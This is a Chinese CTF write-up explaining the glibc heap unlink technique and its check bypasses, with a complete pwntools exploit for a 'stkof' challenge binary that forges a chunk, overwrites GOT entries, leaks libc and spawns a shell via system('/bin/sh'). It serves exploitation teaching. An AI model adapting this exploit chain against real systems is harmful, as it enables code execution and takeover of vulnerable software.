0x1,堆溢出漏洞;
0x2,闲聊:Unlink的难度不小,现在也只能勉强理解;
关于unlink的漏洞简单说一下
1,第一个判断
if(chunksize (p) != prev_size (next_chunk (p)))
此判断所代表的含义为检查将从链表中卸下的chunk其size是否被恶意的修改。记录当前size的地方有两处一个是为当前chunk的size字段和下一个chunk(物理地址上相邻的高地址的chunk)的prev_size字段如果这两个字段的值不等,则unlink会抛出异常。
第2个判断
FD=P->fd即当前空闲chunk所指向的下一个空闲chunk
BK=P->bk即当前空闲chunk所指向的上一个chunk
FD->bk=BK<=>P->fd->bk= P->bk
BK->fd=FD<=>P->bk->fd= P->fd
光看这些指针所指向的内容可能有些迷糊实际上就是将当前空闲chunk相连的前后chunk彼此相连即达到了解链的目的,明白了这一点再来看第二个if的安全检查机制
if(__builtin_expect (fd->bk != p || bk->fd != p, 0))
其实就是检查当前空闲chunk的前一个chunk的bk指向是不是自己本身或者当前chunk的后一个chunk的fd指向是不是自己,如果不是则会抛出异常。
0x3,具体操作:
1,源码分析的话是典型的给你创建,编辑,删除的堆;
2
没什么好说的;3.
它会把创建的堆放在这;地址0x602140;
4,那么需要至少3个堆,前两个可以小一点,后一个需要大一点比fastbin 大,才可以溢出
5,通过修改第二个chunk的内容在第二个chunk中伪造了一个空闲chunk从地址0x14c4460开始为伪造chunk的内容。如过此时想要free chunk3那么要进入unlink则需要使unlink函数认为伪chunk是空闲的并绕过检查。所以首先通过溢出将第三个chunk的prev_size字段修改为0x30并将size字段的P字段修改为0即0x90那么此时就可以绕过第1个 if判断。第二个if判断就难理解一些在这里有个通用的绕过公式即:
fd = address - 0x18
bk = address - 0x10
剩下的就是老生常谈了,exp
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
else:
p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140
def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OKn')
def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OKn')
def free(idx):
p.sendline('3')
p.sendline(str(idx))
def exp():
gdb.attach(p)
# trigger to malloc buffer for io function
alloc(0x100) # idx 1
# begin
alloc(0x30) # idx 2
# small chunk size in order to trigger unlink
alloc(0x80) # idx 3
# a fake chunk at global[2] = head + 16 who's size is 0x20
payload = p64(0) #prev_size
payload += p64(0x20) #size --> except the first line, the rest two line is equal to 0x20?
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30) #0x30 is the front one whole size?
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
# unlink fake chunk, so global[2] =&(global[2]) - 0x18 = head - 8
free(3)
p.recvuntil('OKn')
#gdb.attach(p)
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
edit(2, len(payload), payload)
# edit free@got to puts@plt
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)
#free global[1] to leak puts addr
free(1)
puts_addr = p.recvuntil('nOKn', drop=True).ljust(8, 'x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))
# modify atoi@got to system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()
if __name__ == "__main__":
exp()
Written by 天华
本文始发于微信公众号(渗透云笔记):Unlink漏洞简单分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论